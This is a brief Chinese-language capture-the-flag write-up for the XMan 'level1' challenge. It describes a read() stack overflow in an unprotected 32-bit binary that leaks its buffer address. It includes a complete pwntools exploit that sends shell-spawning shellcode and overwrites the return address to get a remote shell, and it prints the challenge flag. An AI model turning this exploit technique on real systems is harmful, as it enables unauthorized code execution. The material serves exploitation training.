CTF – XMan – level1

题目说明

题目来源: XMan

题目: level1

read() 栈溢出 ROP 执行语句

解题步骤

拿到文件后先查看文件类型是32位的elf文件

检查安全机制没有什么

查看主函数伪代码

查看vulerable_function()函数伪代码

每次运行都会输出buf变量的内存地址,而程序中没有其他的可利用函数,既然给出了内存地址,可以尝试在buf变量中写入shellcode,然后覆盖EIP返回地址为bug的位置执行shellcode达到目的

Payload构成: shellcode+’A’(总共长度为0x88) + 四位覆盖EBP + buf内存地址

写出exp

1
2
3
4
5
6
7
from pwn import *
p = remote('pwn2.jarvisoj.com','9877')
back_addr = p32(int(p.recvuntil('?',drop=True)[12:],16))
shellcode=asm(shellcraft.sh())
payload = shellcode.ljust(0x88,'A')+'BBBB'+back_addr
p.sendline(payload)
p.interactive()

运行得到flag

flag:

1
CTF{82c2aa534a9dede9c3a0045d0fec8617}